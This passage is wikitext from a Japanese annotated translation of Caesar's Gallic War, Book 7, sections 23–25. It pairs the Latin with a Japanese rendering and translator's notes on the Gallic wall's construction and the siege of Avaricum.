**&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;が&lt;small&gt;（城壁の）&lt;/small&gt;&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;長手方向&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロンギトゥードー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;に、&lt;small&gt;（垂直に）&lt;/small&gt;真っ直ぐに、ずっと続いて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:trabs#Latin|trabes]] は、とくに梁のような水平材を指していると思われる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:longitudo#Latin|longitudinem]] は、ここでは、城壁に沿った長手方向を指す。）&lt;/span&gt;
[[画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。]]
*[[wikt:en:par#Latin|paribus]] [[wikt:en:intervallum#Latin|intervallis]], [[wikt:en:distans#Latin|distantes]] inter se [[wikt:en:binus#Latin|binos]] [[wikt:en:pes#Latin|pedes]], 
**等間隔で、互いに2&lt;u&gt;ペース&lt;/u&gt;ずつ離れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、2ペースは約60 cm弱。）&lt;/span&gt;
*in [[wikt:en:solum#Latin|solo]] [[wikt:en:conlocantur#Latin|conlocantur]]. 
**&lt;ruby&gt;&lt;rb&gt;地面&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ソルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に配置される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：右の画像を参照。）&lt;/span&gt;
:　
;　　　木材をつなぎ合わせ、土砂を埋めて、石材をかぶせる
[[画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。]]
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:hae#Latin|Hae]] [[wikt:en:revinciuntur#Latin|revinciuntur]] [[wikt:en:introrsus#Latin|introrsus]] 
**これら&lt;small&gt;〔木材〕&lt;/small&gt;は、内側で緊結されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：明瞭な説明ではなく、肝心な記述が欠落している。&lt;br&gt;　　　　上記の2ペースずつ等間隔で並べられた平行な木材は、&lt;br&gt;　　　　節末で述べられるような40ペースの長い木材によって&lt;br&gt;　　　　井桁状に組み合わされて、鉄の釘で固定されたようである。&lt;br&gt;　　　　右上と右のジオラマの画像を参照。）&lt;/span&gt;
*et [[wikt:en:multus#Latin|multo]] [[wikt:en:agger#Latin|aggere]] [[wikt:en:vestiuntur#Latin|vestiuntur]]; 
**多くの&lt;ruby&gt;&lt;rb&gt;土砂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で覆われる。
*ea autem, quae [[wikt:en:diximus#Verb|diximus]], [[wikt:en:intervallum#Latin|intervalla]] 
**さらに、前述した&lt;small&gt;（2ペースの）&lt;/small&gt;間隔には、
*[[wikt:en:grandis#Latin|grandibus]] in [[wikt:en:frons#Latin:_forehead|fronte]] [[wikt:en:saxum#Latin|saxis]] &lt;u&gt;efferciuntur&lt;/u&gt;. 
**前面に大きな&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が詰め込まれる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;rho;系写本･写本V では [[wikt:en:efferciuntur#Latin|efferciuntur]] と表記され、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本･写本T では [[wikt:en:effarciuntur#Latin|effarciuntur]] と表記されるが、&lt;br&gt;　　　　　　　　　[[w:母音弱化|母音弱化]]の語形である前者の方が、共和制末期のカエサルが用いたと考えられる。）&lt;/span&gt;
[[画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。]]
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:conlocatus#Latin|conlocatis]] et [[wikt:en:coagmentatus#Latin|coagmentatis]] 
**&lt;u&gt;これら&lt;/u&gt;が配置されて結び合わされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;u&gt;これら&lt;/u&gt; とは、上述の木材や石材のこと。）&lt;/span&gt;
*alius [[wikt:en:insuper#Latin|insuper]] [[wikt:en:ordo#Latin|ordo]] [[wikt:en:additur#Latin|additur]], 
**上に別の&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が付け加えられる。
*ut idem illud [[wikt:en:intervallum#Latin|intervallum]] [[wikt:en:servetur#Latin|servetur]], 
**その同じ&lt;small&gt;（2ペースの）&lt;/small&gt;間隔が保たれて、
*neque inter se [[wikt:en:contingant#Latin|contingant]] [[wikt:en:trabs#Latin|trabes]], 
**かつ&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が互いに接触しないように、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上下の層の水平材どうしが接触しないように、&lt;br&gt;　　　　互い違いに並べているようである。）&lt;/span&gt;
*sed [[wikt:en:par#Latin|paribus]] [[wikt:en:intermissus#Latin|intermissae]] [[wikt:en:spatium#Latin|spatiis]] [[wikt:en:singulus#Latin|singulae]] 
**けれども、等間隔で間をあけられたそれぞれ&lt;small&gt;（の木材）&lt;/small&gt;は、
*[[wikt:en:singulus#Latin|singulis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:interiectus#Latin|interiectis]] 
**それぞれの&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が間に挟まれることによって、
*[[wikt:en:arte#Adverb|arte]] [[wikt:en:contineantur#Latin|contineantur]]. 
**緊密に連結される。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sic [[wikt:en:deinceps#Latin|deinceps]] omne [[wikt:en:opus#Latin|opus]] [[wikt:en:contexitur#Latin|contexitur]], [[wikt:en:dum#Latin|dum]] [[wikt:en:iustus#Latin|iusta]] [[wikt:en:murus#Latin|muri]] [[wikt:en:altitudo#Latin|altitudo]] [[wikt:en:expleatur#Latin|expleatur]]. 
**このように、&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の十分な高さが満たされるまで、すべての&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が続けて組み立てられる。
[[画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。]]
:　
;　　　ガッリア式城壁は、外観が見事で、城塞都市の防御にも有益
:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、cum ～ tum … の構文「～だけでなく、また…でもある」。）&lt;/span&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Hoc &lt;u&gt;cum&lt;/u&gt; in [[wikt:en:species#Latin|speciem]] [[wikt:en:varietas#Latin|varietatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|opus]] [[wikt:en:deformis#Latin|deforme]] non est [[wikt:en:alternus#Latin|alternis]] [[wikt:en:trabs#Latin|trabibus]] ac [[wikt:en:saxum#Latin|saxis]], 
**&lt;ruby&gt;&lt;rb&gt;この&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ホク&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、互い違いの&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により、変化に富む外観において不格好でなく、
*quae [[wikt:en:rectus#Latin|rectis]] [[wikt:en:linea#Latin|lineis]] suos [[wikt:en:ordo#Latin|ordines]] [[wikt:en:servant#Latin|servant]], 
**──それら&lt;small&gt;〔木材と石〕&lt;/small&gt;は真っ直ぐな線により、その&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を保っているのだが──
*&lt;u&gt;tum&lt;/u&gt; ad [[wikt:en:utilitas#Latin|utilitatem]] et [[wikt:en:defensio#Latin|defensionem]] [[wikt:en:urbs#Latin|urbium]] 
**同様に、都市の防御の有益性のためにも、
*summam [[wikt:en:habet#Latin|habet]] [[wikt:en:opportunitas#Latin|opportunitatem]], 
**きわめて好都合となっている。
*quod et ab [[wikt:en:incendio#Latin|incendio]] [[wikt:en:lapis#Latin|lapis]] et ab [[wikt:en:aries#Latin|ariete]] [[wikt:en:materia#Latin|materia]] [[wikt:en:defendit#Latin|defendit]], 
**──というのは、&lt;ruby&gt;&lt;rb&gt;石材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ラピス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が火災からも、&lt;ruby&gt;&lt;rb&gt;材木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;マーテリア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;[[w:破城槌|破城槌]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はじょうつい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からも、防護しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～でもあり、…でもある」）&lt;/span&gt;
*quae [[wikt:en:perpetuus#Latin|perpetuis]] [[wikt:en:trabs#Latin|trabibus]] [[wikt:en:pes#Latin|pedes]] [[wikt:en:quadragenus#Latin|quadragenos]] [[wikt:en:plerumque#Adverb|plerumque]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:revinctus#Latin|revincta]] 
**それ&lt;small&gt;〔短手方向の材木〕&lt;/small&gt;は、たいてい40&lt;u&gt;ペース&lt;/u&gt;にわたって&lt;small&gt;（長手方向に）&lt;/small&gt;続く&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により内部で緊結されており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、40ペースは約12メートル。）&lt;/span&gt;
*neque [[wikt:en:perrumpi#Latin|perrumpi]] neque [[wikt:en:distrahi#Latin|distrahi]] potest.
**突破されることも、引きはがされることもできないからである。──
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===24節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|350px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]&lt;small&gt;（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）&lt;/small&gt;。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/24節]]　{{進捗|00%|2026-06-15}}&lt;/span&gt;
;ローマ勢が徹夜の土塁工事、籠城ガッリア勢の攻勢
:　
;　　　ローマ勢が、25日間で大がかりな攻城設備を構築する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:tot#Latin|tot]] rebus [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:oppugnatio#Latin|oppugnatione]] 
**これら多くの事情により攻囲が妨げられて、
*[[wikt:en:miles#Latin|milites]], 
**兵士たちは、
*cum [[wikt:en:totus#Etymology_1|toto]] tempore &lt;u&gt;luto&lt;/u&gt; [[wikt:en:frigus#Latin|frigore]] et [[wikt:en:adsiduus#Latin|adsiduis]] [[wikt:en:imber#Latin|imbribus]] &lt;u&gt;tardarentur&lt;/u&gt;, 
**常時、&lt;ruby&gt;&lt;rb&gt;&lt;u&gt;泥土&lt;/u&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ルトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、寒さと絶え間ない&lt;ruby&gt;&lt;rb&gt;雨嵐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;イムベル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;によって遅らせられていたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:lutum#Latin|luto]] は、&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の二つ目は、&lt;br&gt;　　　　　　　　&amp;chi;系･&amp;beta;系写本では [[wikt:en:tardarentur#Latin|tardarentur]] だが、&lt;br&gt;　　　　　　　　写本B･M･Sでは traderentur、&lt;br&gt;　　　　　　　　写本L･Nでは terrerentur などとなっている。）&lt;/span&gt;
*tamen [[wikt:en:continens#Adjective|continenti]] [[wikt:en:labor#Latin|labore]] omnia haec [[wikt:en:superaverunt#Latin|superaverunt]] 
**しかしながら、絶え間ない労働によってこれらすべてに打ち克って、
*et diebus XXV&lt;small&gt; ([[wikt:en:quinque#Latin|quinque]] et [[wikt:en:viginti#Latin|viginti]])&lt;/small&gt; 
**25日間で、
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:latus#Latin:_wide|latum]] [[wikt:en:pes#Latin|pedes]] CCCXXX&lt;small&gt; ([[wikt:en:trecenti#Latin|trecenti]] [[wikt:en:triginta#Latin|triginta]])&lt;/small&gt;, [[wikt:en:altus#Latin|altum]] pedes LXXX&lt;small&gt; ([[wikt:en:octoginta#Latin|octoginta]])&lt;/small&gt; [[wikt:en:exstruxerunt#Latin|exstruxerunt]]. 
**幅330&lt;u&gt;ペース&lt;/u&gt;、高さ80&lt;u&gt;ペース&lt;/u&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、幅330ペースは約98メートル。高さ80ペースは約24メートル。）&lt;/span&gt;
:　
;　　　アウァーリクムに籠城するガッリア勢が、攻囲するローマ勢の土塁に夜襲をしかける
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Cum is [[wikt:en:murus#Latin|murum]] hostium paene [[wikt:en:contingeret#Latin|contingeret]], 
**それ&lt;small&gt;〔ローマ側の土塁〕&lt;/small&gt;が敵の城壁にほとんど接しようとしていたとき、
*et Caesar ad [[wikt:en:opus#Latin|opus]] [[wikt:en:consuetudo#Latin|consuetudine]] [[wikt:en:excubaret#Latin|excubaret]] 
**かつ、カエサルが習慣により作業のそばで寝ずの番をしていて、
*[[wikt:en:miles#Latin|milites]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:hortaretur#Latin|hortaretur]], ne [[wikt:en:aliquod#Latin|quod]] [[wikt:en:omnino#Latin|omnino]] [[wikt:en:tempus#Latin|tempus]] ab [[wikt:en:opus#Latin|opere]] [[wikt:en:intermitteretur#Latin|intermitteretur]], 
**いかなる時も作業がまったく中断されないように、と兵士たちを励ましていたときに、
*paulo ante tertiam [[wikt:en:vigilia#Latin|vigiliam]] 
**第三夜警時の少し前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：第三夜警時は、真夜中から日の出までの時間帯の前半。「未明」&lt;br&gt;　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*est [[wikt:en:animadversus#Participle|animadversum]] [[wikt:en:fumo#Latin|fumare]] [[wikt:en:agger#Latin|aggerem]], 
**土塁に煙が上がっていることが気付かれた。
*quem [[wikt:en:cuniculus#Latin|cuniculo]] hostes [[wikt:en:succenderant#Latin|succenderant]]; 
**&lt;small&gt;（その土塁を）&lt;/small&gt;[[w:坑道|坑道]]によって敵たちが焼き討ちしていたものである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:idem#Latin|eodem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tempus#Latin|tempore]] 
**そして同時に、
*[[wikt:en:totus#Latin|toto]] [[wikt:en:murus#Latin|muro]] [[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Latin:_raised|sublato]], 
**&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁全体で雄叫びが上がって、
*duabus portis ab [[wikt:en:uterque#Latin|utroque]] [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:turris#Latin|turrium]] 
**二つの城門より、&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]の両方の側面から
*[[wikt:en:eruptio#Latin|eruptio]] [[wikt:en:fiebat#Latin|fiebat]].
**&lt;small&gt;（ガッリア勢による）&lt;/small&gt;突撃がなされていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Alii [[wikt:en:fax#Latin|faces]] atque [[wikt:en:aridus#Latin|aridam]] &lt;u&gt;materiam&lt;/u&gt; de [[wikt:en:murus#Latin|muro]] in [[wikt:en:agger#Latin|aggerem]] [[wikt:en:eminus#Latin|eminus]] [[wikt:en:iaciebant#Latin|iaciebant]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;他の者たちは、&lt;ruby&gt;&lt;rb&gt;[[w:たいまつ|松明]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たいまつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;および乾いた材木を、城壁から&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁に、遠くから投げ込んで、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:materiam#Latin|materiam]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:materiem#Latin|materiem]] となっている。&lt;br&gt;　　　　　　　　　文法学者[[w:カエサレアのプリスキアヌス|プリスキアーヌス]]は、カエサルの文法書 &quot;De Analogia&quot; について materiam と引用している。）&lt;/span&gt;
*[[wikt:en:pix#Latin|picem]] [[wikt:en:reliquus#Latin|reliquas]]&lt;nowiki&gt;que&lt;/nowiki&gt; res, quibus [[wikt:en:ignis#Latin|ignis]] [[wikt:en:excitari#Latin|excitari]] potest, [[wikt:en:fundebant#Latin|fundebant]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、火を燃え立たせられるほかのもの&lt;small&gt;〔可燃物〕&lt;/small&gt;を注ぎ込んだ。
*ut, [[wikt:en:quo#Latin:_where|quo]] primum &lt;u&gt;curreretur&lt;/u&gt; aut cui rei [[wikt:en:ferretur#Latin|ferretur]] [[wikt:en:auxilium#Latin|auxilium]], 
**それで、まずどこに駆け付けるのか、あるいはどの事態に支援がなされるのか、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:curreretur#Latin|curreretur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:occurreretur#Latin|occurreretur]] となっている。）&lt;/span&gt;
*vix [[wikt:en:ratio#Latin|ratio]] [[wikt:en:iniri#Latin|iniri]] posset. 
**&lt;small&gt;（ローマ兵には）&lt;/small&gt;ほとんど分別され得なかった。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Tamen, quod [[wikt:en:institutum#Latin|instituto]] Caesaris &lt;u&gt;semper duae&lt;/u&gt; [[wikt:en:legio#Latin|legiones]] pro [[wikt:en:castra#Latin|castris]] [[wikt:en:excubabant#Latin|excubabant]] 
**しかしながら、カエサルの定めにより常に2個[[w:ローマ軍団|軍団]]が陣営の前に寝ずの番をしていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順では semper duae だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順では duae semper となっている。）&lt;/span&gt;
*[[wikt:en:plus#Latin|plures]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:partitus#Latin|partitis]] [[wikt:en:tempus#Latin|temporibus]] erant in [[wikt:en:opus#Latin|opere]], 
**かつ、より多くの者たちが時間を割り当てられて作業していたので、
*celeriter [[wikt:en:factus#Latin|factum]] est, 
**&lt;small&gt;（防戦は）&lt;/small&gt;速やかになされた。
*ut &lt;u&gt;alii&lt;/u&gt; [[wikt:en:eruptio#Latin|eruptionibus]] [[wikt:en:resisterent#Latin|resisterent]], 
**ある者たちは&lt;small&gt;（ガッリア勢の）&lt;/small&gt;突撃に抵抗しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：alii ～ alii …「～する者もいれば、…する者もいる。」）&lt;/span&gt;
*&lt;u&gt;alii&lt;/u&gt; [[wikt:en:turris#Latin|turres]] [[wikt:en:reducerent#Latin|reducerent]] 
**別のある者たちは[[w:攻城塔|攻城櫓]]を引き戻して、
*[[wikt:en:agger#Latin|aggerem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:interscinderent#Latin|interscinderent]], 
**土塁を&lt;small&gt;（城壁側から）&lt;/small&gt;切り離していた。
*omnis vero ex [[wikt:en:castra#Latin|castris]] [[wikt:en:multitudo#Latin|multitudo]] ad [[wikt:en:restinguendum#Verb|restinguendum]] [[wikt:en:concurreret#Latin|concurreret]].
**さらに陣営から大勢の皆が、消火するために急ぎ集まっていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===25節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/25節]]　{{進捗|00%|2026-06-29}}&lt;/span&gt;
;籠城ガッリア勢が必死の防戦

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum in omnibus locis, &lt;u&gt;[[wikt:en:consumptus#Latin|consumpta]] iam reliqua parte noctis&lt;/u&gt;, [[wikt:en:pugnaretur#Latin|pugnaretur]], 
**&lt;u&gt;すでに夜も明けて&lt;/u&gt;、至る所で戦われていたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「すでに夜の残りの部分も費やされて」。）&lt;/span&gt;
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; hostibus [[wikt:en:spes#Latin|spes]] [[wikt:en:victoria#Latin|victoriae]] [[wikt:en:redintegraretur#Latin|redintegraretur]], 
**かつ、常に敵たちにとって勝利の希望が蘇っており、
*&lt;u&gt;eo magis, quod&lt;/u&gt; [[wikt:en:deustus#Latin|deustos]] [[wikt:en:pluteus#Latin|pluteos]] [[wikt:en:turris#Latin|turrium]] [[wikt:en:videbant#Latin|videbant]] nec facile [[wikt:en:adire#Latin|adire]] [[wikt:en:apertus#Latin|apertos]] ad [[wikt:en:auxiliandum#Verb|auxiliandum]]  [[wikt:en:animadvertebant#Latin|animadvertebant]], 
**&lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;[[w:攻城塔|攻城櫓]]の&lt;ruby&gt;&lt;rb&gt;障壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;プルテウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;焼き落された&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;デウストゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のを見ていて、&lt;ruby&gt;&lt;rb&gt;身を曝した者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アペルトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちが救援のために容易に近づけないのに気付いていた&lt;u&gt;のでなおさらだったが&lt;/u&gt;、&lt;/span&gt;
